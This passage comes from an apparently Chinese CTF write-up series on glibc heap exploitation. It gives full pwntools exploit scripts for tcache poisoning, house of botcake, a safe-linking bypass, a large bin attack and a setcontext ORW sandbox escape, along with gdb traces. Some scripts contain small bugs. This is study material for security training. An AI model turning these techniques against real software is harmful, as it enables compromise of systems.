pi = lambda : p.interactive()
#------------------------ ----------------------------
def menu(choice):
ru('>')
sl(str(choice))

def add(index, size,con=p64(0xdeadbeef)):
menu(1)
ru('Index: ')
sl(str(index))
ru('Size: ')
sl(str(size))
ru('Content: ')
s(con)

def free(index):
menu(2)
ru('Index: ')
sl(str(index))

def show(index):
menu(3)
ru('Index: ')
sl(str(index))

def exit():
menu(4)

#--------------- 1. leak_libc ----------------------------
add(0,0x80,b'a'*0x80)
add(1,0x50,b'a'*0x50)
add(2,0x50,b'a'*0x50)
add(3,0x10,b'/bin/sh\x00')

free(0)
show(0)

main_arena = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 88 - 0x10
libc_base = main_arena - libc.symbols['__malloc_hook']
lg('libc_base')

system = libc_base + libc.sym['system']
#debug()
#-------------- 2. double_free -------------------------------
free(1)
free(2)
free(1)

#-------------- 3. Arbitrary Alloc -------------------------------
'''
pwndbg> x /20xg 0x602002-8
0x601ffa: 0x1e28000000000000 0xa168000000000060
0x60200a: 0x00000000000453a0 0xd54000007f8f11c5
0x60201a <free@got.plt+2>: 0xa2a000007f8f118f 0x86a000007f8f118e
0x60202a <puts@got.plt+2>: 0x073600007f8f118e 0xf6c0000000000040
0x60203a <setbuf@got.plt+2>: 0xe81000007f8f118e 0x035000007f8f118c
0x60204a <read@got.plt+2>: 0x975000007f8f1197 0xd18000007f8f1189
0x60205a <malloc@got.plt+2>: 0x44e000007f8f118f 0x07a600007f8f118e
0x60206a <exit@got.plt+2>: 0x0000000000000040 0x0000000000000000
'''
fake_chunk = 0x602002-8
add(4,0x50,p64(fake_chunk))
add(5,0x50,b'a'*0x50)
add(6,0x50,b'a'*0x50)
#debug()
add(7,0x50, b'\x00'*14 + p64(system))
free(3)

pi()

6.editable_note

glibc-2.31

思路

第一种方法:Tcache poinsioning:存在UAF和edit功能,能直接修改bin链上chunk的fd指针,将free_hook改为system

另一种方法:house of botcake解(下一题使用)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *
from ctypes import *
#context.terminal = ['tmux', 'splitw', '-h']

libc = ELF('./libc-2.31.so')
banary = "./vuln"
elf = ELF(banary)
ip = '1'
port = 1

local = 1
if(local==1):
p = process(banary)
else:
p = remote(ip, port)
context.log_level = "debug"

def debug():
gdb.attach(p)
pause()

s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))
pi = lambda : p.interactive()

#------------------------ MENU ----------------------------
def menu(choice):
ru('>')
sl(str(choice))

def add(index, size):
menu(1)
ru('Index: ')
sl(str(index))
ru('Size: ')
sl(str(size))

def free(index):
menu(2)
ru('Index: ')
sl(str(index))

def edit(index, con=p64(0xdeadbeef)):
menu(3)
ru('Index: ')
sl(str(index))
ru('Content: ')
s(con)


def show(index):
menu(4)
ru('Index: ')
sl(str(index))

#------------------------ 1.leak libc ----------------------
for i in range(9):
add(i, 0x80)

for i in range(8):
delete(i)

show(7)

libc_base=u64(p.recv(6)+b'\x00\x00')-0x1ecbe0
lg('libc_base')

#------------------------ 2.tcache poinsioning ----------------
free_hook=libc.sym['__free_hook']
system_addr=libc.sym['system']

edit(6,p64(free_hook))

add(9,0x80)
add(10,0x80)
edit(9,b'/bin/sh\x00')
edit(10,p64(system_addr))

free(9)


pi()

7.new_fast_note

glibc-2.31

house of botcake

大致思路就是先填满tcache bin(7个)后将chunk分配到unsorted bin中泄露main_arena,然后将tcache分配到__free_hook上覆盖更改为system

在更改tcache中chunk的next位时,一定要确保分配完__free_hook上的chunk后,tcache->counts要大于1

原因是每一个不同大小的tcache,它都独立维护一个counts域,而在malloc的时候会检查这个域,只有当它大于等于0的时候才会执行tcache_get

目的是将chunk同时放进tcache bin和unsorted,可以绕过tcache bin在libc2.32后存在key的问题,同时带有libc地址

how2heap: POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>


int main()
{

setbuf(stdin, NULL);
setbuf(stdout, NULL);

intptr_t stack_var[4];

//申请七个,用于填tcache bin
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
x[i] = malloc(0x100);
}
//再申请三个,chunk1-3,第三个用于分隔top chunk
intptr_t *prev = malloc(0x100);
intptr_t *a = malloc(0x100);
malloc(0x10);

//释放填充tcache bin
for(int i=0; i<7; i++){
free(x[i]);
}
//先释放chunk2,再释放chunk1
free(a);
free(prev);
//申请出chunk2
malloc(0x100);
//再将chunk2挂入,此时其同时存在于unsorted bin和tcache bin上
free(a);

return 0;
}

再通过申请chunk,切割unsorted bin,堆重叠到tcache bin,改写为free_hook地址

申请两次,再改写为system

分析

模板跟上一题有改变

add:index,size,content

delete:index

show:index

思路

  1. 通过house of botcake泄露libc和heap地址
  2. 申请堆块,堆重叠,覆写tcache bin[0]的fd指针
  3. tchache poinsioning打free_hook为system

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *
from ctypes import *
#context.terminal = ['tmux', 'splitw', '-h']

libc = ELF('./libc-2.31.so')
banary = "./vuln"
elf = ELF(banary)
ip = '1'
port = 1

local = 1
if(local==1):
p = process(banary)
else:
p = remote(ip, port)
context.log_level = "debug"

def debug():
gdb.attach(p)
pause()

s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))
pi = lambda : p.interactive()

#------------------------ MENU ----------------------------
def menu(choice):
ru('>')
sl(str(choice))

def add(index, size, con=p64(0xdeadbeef)):
menu(1)
ru('Index: ')
sl(str(index))
ru('Size: ')
sl(str(size))
ru('Content: ')
s(con)

def free(index):
menu(2)
ru('Index: ')
sl(str(index))


def show(index):
menu(3)
ru('Index: ')
sl(str(index))

#------------------------ 1. house of botcake ----------------------
for i in range(7):
add(i, 0x80)

add(7, 0x80, 'aaaa')
add(8, 0x80, 'aaaa')
add(9, 0x80, 'aaaa')

for i in range(7):
free(i)

free(8) #unsorted
free(7)

add(10, 0x80, b'a')
free(8)

show(8) #
heap_base=u64(p.recv(6)+b'\x00\x00')-0x570
lg('heap_base')

show(7)
libc_base=u64(p.recv(6)+b'\x00\x00')-0x1ecbe0
lg('libc_base')

#------------- 2.overlapping + tcache poinsioning ----------
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
add(11, 0x98, b'a'*0x88 + p64(0x91) + p64(free_hook) )

add(12, 0x80, b'/bin/sh')
add(13, 0x80, p64(system))

free(12)
#debug()
pi()

8.safe_note

safe_linking

Glibc 2.32

新增safe linking机制:将fd指针的地址右移12位再和fd指针本身异或,如下,L为指针的地址,P为指针本身,该操作是可逆的,取指针时再做一次操作就可以还原得到原来的指针 (safe = fd>>12 ^ fd)

分析

菜单题,增删改查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
init(argc, argv, envp);
while ( 1 )
{
menu();
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 1:
add_note();
break;
case 2:
delete_note();
break;
case 3:
edit_note();
break;
case 4:
show_note();
break;
case 5:
exit(0);
default:
puts("Wrong choice!");
break;
}
}
}

add_note:次数16,大小小于0xFF

delete_note:UAF

edit_note:直接修改内容

show_note:输出

思路

  1. 填满tcache bin,再造个unsorted bin
  2. 泄露tcache bin[0]得到的是key,key<<12为heap_base
  3. 切分unsorted bin,泄露libc
  4. 通过tcache poisioning,改链子,指向free_hook(此时写free_hook^key)
  5. 再malloc,修改free_hook为system,实现攻击

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
from pwn import *
from ctypes import *
#context.terminal = ['tmux', 'splitw', '-h']
context.log_level = "debug"


libc = ELF("./libc-2.32.so")
banary = "./vuln"
elf = ELF(banary)
ip = '1'
port = 1

local = 1
if(local==1):
p = process(banary)
else:
p = remote(ip, port)

def debug():
gdb.attach(p)
pause()

s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))
pi = lambda : p.interactive()
#------------------------ menu ----------------------------
def menu(choice):
ru('>')
sl(str(choice))

def add(index, size):
menu(1)
ru('Index: ')
sl(str(index))
ru('Size: ')
sl(str(size))

def free(index):
menu(2)
ru('Index: ')
sl(str(index))

def edit(index, con=p64(0xdeadbeef)):
menu(3)
ru('Index: ')
sl(str(index))
ru('Content: ')
s(con)


def show(index):
menu(4)
ru('Index: ')
sl(str(index))


#------------------------ 1.safe_linking + libc ------------------
#Tcache: safe_link
for i in range(9):
add(i, 128)

for i in range(8):
free(i)

show(0)

key = u64(p.recv(5).ljust(8, b'\x00'))
heap_base = key << 12
lg('key')
lg('heap_base')

#Leak_libc
add(9, 96)
show(7)

main_arena = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x80
malloc_hook = main_arena - 96 - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
lg('libc_base')

#------------------------ 2.Gadget ----------------------------
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
lg('free_hook')
lg('system')

#------------------------ 3.tcache_poinion --------------------
edit(6, p64(free_hook ^ key))
add(10, 128)
add(11, 128)
edit(11, p64(system))


add(12, 64)
edit(12, '/bin/sh')
free(12)


pi()

9.large_note

mp_.tcache_bins

libc-2.31.so

1
2
3
4
5
6
7
8
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}

可以利用任意写一字节来修改最高位为 0xFF,修改 mp_.tcache_bins

定位:

1
pwndbg>  p &mp_.tcache_bins

large bin attack

https://xz.aliyun.com/t/5177

目的:任意写,修改&mp_.tcache_bins的值

large bin结构:

pre_size | size

fd | bk

fd_nextsize | bk_nextsize

  • fd_nextsize指向前一个与当前chunk大小不同的第一个空闲块,不包含bin的头指针

  • bk_nextsize指向后一个与当前chunk大小不同的第一个空闲块,不包含bin的头指针

  • 空闲的large chunk在fd的遍历顺序中,按照由大到小的顺序排列。这样可以避免在寻找合适chunk时挨个遍历

常见的两种利用:

1
2
3
申请largebin的过程中,伪造largebin的bk_nextsize,实现非预期内存申请。

插入largebin的过程中,伪造largebin的bk_nextsize以及bk,实现任意地址写堆地址。

重点学习第二种:

how2heap

libc2.32

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>

/*

A revisit to large bin attack for after glibc2.30

Relevant code snippet :

if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}


*/

int main(){
/*Disable IO buffering to prevent stream from interfering with heap*/
setvbuf(stdin,NULL,_IONBF,0);
setvbuf(stdout,NULL,_IONBF,0);
setvbuf(stderr,NULL,_IONBF,0);

size_t target = 0;

size_t *p1 = malloc(0x428);
size_t *g1 = malloc(0x18);
size_t *p2 = malloc(0x418);
size_t *g2 = malloc(0x18);

free(p1);

size_t *g3 = malloc(0x438);
free(p2);


p1[3] = (size_t)((&target)-4);


size_t *g4 = malloc(0x438);

assert((size_t)(p2-2) == target);

return 0;
}

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#前期准备
add(0, 1536)
add(1, 1296)#分隔两个large_chunk
add(2, 1792)#UAF
add(3, 1296)#分隔两个large_chunk
add(4, 1792)
add(5, 1296)#分隔TOP chunk

#置入large_bin
free(0)
free(2) #UAF
add(6, 1280)#将第一个切分,同时第二个进入large bin

#ATTACK
free(4) #置unsorted bin
edit(2, p64(0) + p64(target1+0x10) + p64(0) + p64(target2+0x20)) #fake_bk & fake bk_nextsize
add(7, 1280)#ATTACK

Attack的结果是,target1和2处的值均改为chunk7的头指针

分析

菜单同上,增删改查

区别只在add_note

add_note:次数16,大小为[0x500, 0x900]

delete_note:UAF

edit_note:直接修改内容

show_note:输出

思路

因为chunk大小的限制,只能是[0x500, 0x900]

学习一种打法,适用于libc2.27-libc2.32

  1. 构造unsorted bin,泄露获取libc和heap
  2. 通过large bin attack 打 mp_.tcache_bins 单字节,修改tcache bin大小上限
  3. 再通过tcache poinion的方法打__free_hook^key为system

KEY:写入的对应堆块的首地址>>12

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
from pwn import *
from ctypes import *
#context.terminal = ['tmux', 'splitw', '-h']

libc = ELF('./libc-2.32.so')
banary = "./vuln"
elf = ELF(banary)
ip = '1'
port = 1

local = 1
if(local==1):
p = process(banary)
else:
p = remote(ip, port)
context.log_level = "debug"

def debug():
gdb.attach(p)
pause()

s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))
pi = lambda : p.interactive()

#------------------------ MENU ----------------------------
def menu(choice):
ru('>')
sl(str(choice))

def add(index, size):
menu(1)
ru('Index: ')
sl(str(index))
ru('Size: ')
sl(str(size))

def free(index):
menu(2)
ru('Index: ')
sl(str(index))

def edit(index, con=p64(0xdeadbeef)):
menu(3)
ru('Index: ')
sl(str(index))
ru('Content: ')
s(con)


def show(index):
menu(4)
ru('Index: ')
sl(str(index))

#------------------------ 1.heap & libc ----------------------
add(0, 1360)
add(1, 1360)
free(0)
add(2, 1280)

show(2)
malloc_hook = u64(p.recv(6).ljust(8, b'\x00')) - 1184 - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
lg('libc_base')

edit(2, b"a" * 15 + b"b")
show(2)
ru(b'b')
heap_base = u64(p.recv(6).ljust(8 ,b'\x00')) - 0x290
lg('heap_base')


#---------------------- 2. large bin attack -----------------
mp = libc_base + 0x1E32D0 #pwndbg> print &mp_.tcache_bins
lg('mp')

#largebin
add(3, 1568) #0x620,UAF -> large bin
add(4, 1296) #fen
add(5, 1552) #0x610
add(6, 1296) #fen,0x510

free(3)
add(7, 1584) #0x630

free(5)

#keep the heap
#fake_bk_nextsize
fd = libc_base + 0x1E4070
bk = libc_base + 0x1E4070
fd_nextsize = heap_base + 0xCB0
edit(3, p64(fd)+p64(bk)+p64(fd_nextsize)+p64(mp-0x20) )

add(8, 1584)#ATTACK

#------------------------ 3.tcache poisioning ----------------------------
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

lg('free_hook')
lg('system')


free(4)
free(6) #6 --> 4
key = (heap_base+0x1EC0) >> 12
lg('key')

edit(6, p64(free_hook ^ key)) #4 -> free_hook

add(9, 1296)
add(10, 1296)
edit(10, p64(system))

edit(9, '/bin/sh')
free(9)
#debug()

pi()

10.note_context

在上一题的基础上,绕过沙盒,setcontext栈劫持,通过orw进行pwn

setcontext+61

思路:

存在沙箱,不能system,为了能够获取flag

需要通过构造ROP链实现ORW

又因为ROP链需要控栈

setcontext有段gadget非常有用

所以需要使用setcontext

setcontext+61

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> x /30i setcontext+61
0x7f0efe05606d <setcontext+61>: mov rsp,QWORD PTR [rdx+0xa0]
0x7f0efe056074 <setcontext+68>: mov rbx,QWORD PTR [rdx+0x80]
0x7f0efe05607b <setcontext+75>: mov rbp,QWORD PTR [rdx+0x78]
0x7f0efe05607f <setcontext+79>: mov r12,QWORD PTR [rdx+0x48]
0x7f0efe056083 <setcontext+83>: mov r13,QWORD PTR [rdx+0x50]
0x7f0efe056087 <setcontext+87>: mov r14,QWORD PTR [rdx+0x58]
0x7f0efe05608b <setcontext+91>: mov r15,QWORD PTR [rdx+0x60]

0x7f0efe05608f <setcontext+95>: test DWORD PTR fs:0x48,0x2
0x7f0efe05609b <setcontext+107>: je 0x7f0efe056156 <setcontext+294>

0x7f0efe0560a1 <setcontext+113>: mov rsi,QWORD PTR [rdx+0x3a8]
0x7f0efe0560a8 <setcontext+120>: mov rdi,rsi
0x7f0efe0560ab <setcontext+123>: mov rcx,QWORD PTR [rdx+0x3b0]

0x7f0efe0560b2 <setcontext+130>: cmp rcx,QWORD PTR fs:0x78
0x7f0efe0560bb <setcontext+139>: je 0x7f0efe0560f5 <setcontext+197>

通过magic_gadget控制rdx,堆块地址为rdi+8

1
2
3
$ ROPgadget --binary ./libc-2.32.so --only 'mov|call'| grep 'rdx'

0x000000000014b760 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]

只需要将free_hook指向magic_gadge,同时布置堆块

rdi + 8指向的堆块中布局好参数(堆块偏移0x20处写入setcontext+61的地址, 0xa0处写入栈迁移的目标位置

要注意的是在setcontext返回之前有一个push rcx的操作,因此ROP链的第一个返回地址要写在rdx + 0xa8所指向的位置。

怎么布置堆块

先将free_hook改为magic_gadget

再申请两个chunk,chunk1和chunk2

在chunk2上输入orw链

布置chunk1,最后free(chunk1)

在这里插入图片描述

思路

思路同步上一题,最后tcache poisioning时变为栈劫持,进行ORW

  1. leak libc_base & heap_base
  2. large bin attack打mp_.tcache_bins
  3. tcache poinsion打free_hook
  4. setcontext + ORW

分析

沙盒

1
2
3
4
5
6
7
8
9
seccomp-tools dump ./vuln
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x35 0x03 0x00 0x40000000 if (A >= 0x40000000) goto 0005
0002: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0005
0003: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0005
0004: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0005: 0x06 0x00 0x00 0x00000000 return KILL

加了沙箱,不能execve和system

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
from pwn import *
from ctypes import *
#context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64')

libc = ELF('./libc-2.32.so')
banary = "./vuln"
elf = ELF(banary)
ip = '1'
port = 1

local = 1
if(local==1):
p = process(banary)
else:
p = remote(ip, port)
context.log_level = "debug"

def debug():
gdb.attach(p)
pause()

s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))
pi = lambda : p.interactive()

#------------------------ MENU ----------------------------
def menu(choice):
ru('>')
sl(str(choice))

def add(index, size):
menu(1)
ru('Index: ')
sl(str(index))
ru('Size: ')
sl(str(size))

def free(index):
menu(2)
ru('Index: ')
sl(str(index))

def edit(index, con=p64(0xdeadbeef)):
menu(3)
ru('Index: ')
sl(str(index))
ru('Content: ')
s(con)


def show(index):
menu(4)
ru('Index: ')
sl(str(index))

#------------------------ 1.heap & libc ----------------------
add(0, 1360)
add(1, 1360)
#edit(1, '')
free(0)

add(2, 1280)

show(2)
malloc_hook = u64(p.recv(6).ljust(8, b'\x00')) - 1184 - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
lg('libc_base')

edit(2, b"a" * 15 + b"b")
show(2)
ru(b'b')
heap_base = u64(p.recv(6).ljust(8 ,b'\x00')) - 0x290
lg('heap_base')


#---------------------- 2. large bin attack -----------------
mp = libc_base + 0x1E32D0 #pwndbg> print &mp_.tcache_bins
lg('mp')

#largebin
add(3, 1568) #0x620,UAF -> large bin
add(4, 1296) #fen
add(5, 1552) #0x610
add(6, 1296) #fen,0x510

free(3)
add(7, 1584) #0x630

free(5)

#keep the large_bin_chunk
#fake_bk_nextsize
fd = libc_base + 0x1E4070
bk = libc_base + 0x1E4070
fd_nextsize = heap_base + 0xCB0
edit(3, p64(fd)+p64(bk)+p64(fd_nextsize)+p64(mp-0x20) )

add(8, 1584)#ATTACK

#------------------------ 3.tcache poisioning ----------------------------
free_hook = libc_base + libc.sym['__free_hook']
lg('free_hook')

free(4)
free(6) #6 --> 4
key = (heap_base+0x1EC0) >> 12
lg('key')

edit(6, p64(free_hook ^ key)) #4 -> free_hook

#------------------------ 4.Gadget ----------------------------
#gadget
Magic_gadget = libc_base + 0x14b760
pop_rax_ret = libc_base + 0x45580
pop_rdi_ret = libc_base + 0x19223f
pop_rdx_r12_ret = libc_base + 0x114161
pop_rsi_ret = libc_base + 0x2ac3f
syscall_ret = libc_base + 0x0611ea
ret = pop_rdi_ret + 1 #why??

setcontext_61 = libc_base + libc.sym['setcontext'] + 61
fake_stack = heap_base + 0x800 #chunk1

chunk7_addr = heap_base + 0x23E0
chunk8_addr = heap_base + 0x2A20


#orw: assembly at the first
orw = p64(pop_rax_ret) + p64(2) + p64(pop_rdi_ret) + p64(fake_stack) + p64(pop_rsi_ret) + p64(0) + p64(syscall_ret)
orw += p64(pop_rdi_ret) + p64(3) + p64(pop_rdx_r12_ret) + p64(0x100)*2 + p64(pop_rsi_ret) + p64(fake_stack) + p64(pop_rax_ret) + p64(0) + p64(syscall_ret)
orw += p64(pop_rdi_ret) + p64(1) + p64(libc_base+libc.sym['write'])

#------------------------ 5. setcontext + ORW ----------------------------
#1.set free_hook to magic_gadget
add(9, 1296)
add(10, 1296)
edit(10, p64(Magic_gadget))


#2. setcontext
#chunk1
edit(1, '/flag\x00\x00\x00')

#chunk7 & chunk8
edit(7, p64(0)+p64(chunk7_addr+0x10)+p64(0)*2+p64(setcontext_61)+p64(0)*0xf+p64(chunk8_addr+0x10)+p64(ret))
edit(8, orw )

free(7)
#


pi()

11.without_hook

远端为Ubuntu GLIBC 2.36-0ubuntu2

复现用的是glibc2.35-0ubuntu3.1_amd64

分析

沙箱

1
2
3
4
5
6
7
8
9
$ seccomp-tools dump ./vuln
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x35 0x03 0x00 0x40000000 if (A >= 0x40000000) goto 0005
0002: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0005
0003: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0005
0004: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0005: 0x06 0x00 0x00 0x00000000 return KILL

菜单,增删改查

large_note那套模板

add:[0x500 - 0x900]

free:UAF

edit:改内容

show:泄露

exit: 退出,执行IO流

思路

打链子house of apple2

条件:

  • 已知heap地址和glibc地址
  • 能控制程序执行IO操作,包括但不限于:从main函数返回、调用exit函数、通过__malloc_assert触发
  • 能控制_IO_FILEvtable_wide_data,一般使用largebin attack去控制

流程

  1. 泄露heap和libc地址
  2. Large bin attack 劫持 _IO_list_all,将其值改为large bin chunk的头指针
  3. 利用FSOP的手法,在堆A:large bin处伪造_IO_FILE_plus结构体,其**_wide_data处地址指向可控堆B**
  4. 找到magic_gadget,可以进而通过rdx控制各个寄存器的值,注意其中的rcx寄存器
  5. 在堆B处,布置fake_wide_data,其
  6. 布置堆块,使其能通过setcontxt+61,触发在可控堆C处的ORW链
  7. 通过exit函数,触发IO流

触发流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
"""
_IO_wfile_overflow
_IO_wdoallocbuf
_IO_WDOALLOCATE
*(fp->_wide_data->_wide_vtable + 0x68)(fp)
magic_gadget
setcontext+61
orw

chunk5 fake_IO_FILE_plus:
flag = ~(2 | 0x8 | 0x800)
vtable = _IO_wfile_jumps
_wide_data = chunkA (fake_wide_data)
_IO_write_end -> magic_gadget

chunkA ----->_wide_data:
_IO_write_base = 0
_IO_buf_base = 0
_wide_vtable = chunkB (doallocate_addr)

chunkA+0xE0 ----->_wide_vtable:
doallocate = chunkB (setcontext+orw)

chunkB ---->Magic+ setcontext_61 + orw
"""

_IO_list_all+0x88: _chain —-> chunkA: fake_IO_FILE_plus —> chunkB: _wide_data

​ l——> chunkC: setcontext+orw <—-l

图解

在这里插入图片描述

调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
► 0x5605f6b4083e <main+174>    call   exit@plt                <exit@plt>
> si

► 0x7ff742c3af8b <exit+27> call __run_exit_handlers <__run_exit_handlers>
> si

► 0x7fa7d8354ec0 <__run_exit_handlers+448> call qword ptr [rbx] <_IO_cleanup>
> si

► 0x7fa7d8396df4 <_IO_cleanup+20> call _IO_flush_all_lockp <_IO_flush_all_lockp>
> si


#之后,为布置的链子
► 0x7fa07cfdfc6f <_IO_flush_all_lockp+207> call qword ptr [rax + 0x18] <_IO_wfile_overflow>
rdi: 0x55f5cd77b8a0 ◂— 0xfffff7f5
rsi: 0xffffffff
rdx: 0x1
rcx: 0x6c0
> si


► 0x7fb8e0ba5d20 <_IO_wfile_overflow+544> call _IO_wdoallocbuf <_IO_wdoallocbuf>
rdi: 0x557e9eedf8a0 ◂— 0xfffff7f5
rsi: 0xffffffff
rdx: 0xfffff7f5
rcx: 0x6c0
> si


###chunkB
► 0x7fe7953a66e8 <_IO_wdoallocbuf+40> call qword ptr [rax + 0x68]
> si

0x7fe79542683b <__spawni_child+1387> mov rdx, qword ptr [rax + 0xb0]
► 0x7fe795426842 <__spawni_child+1394> call qword ptr [rax + 0x88] <setcontext+61>
> si


0x7fe79537abdd <setcontext+61> mov rsp, qword ptr [rdx + 0xa0]
0x7fe79537abe4 <setcontext+68> mov rbx, qword ptr [rdx + 0x80]
0x7fe79537abeb <setcontext+75> mov rbp, qword ptr [rdx + 0x78]
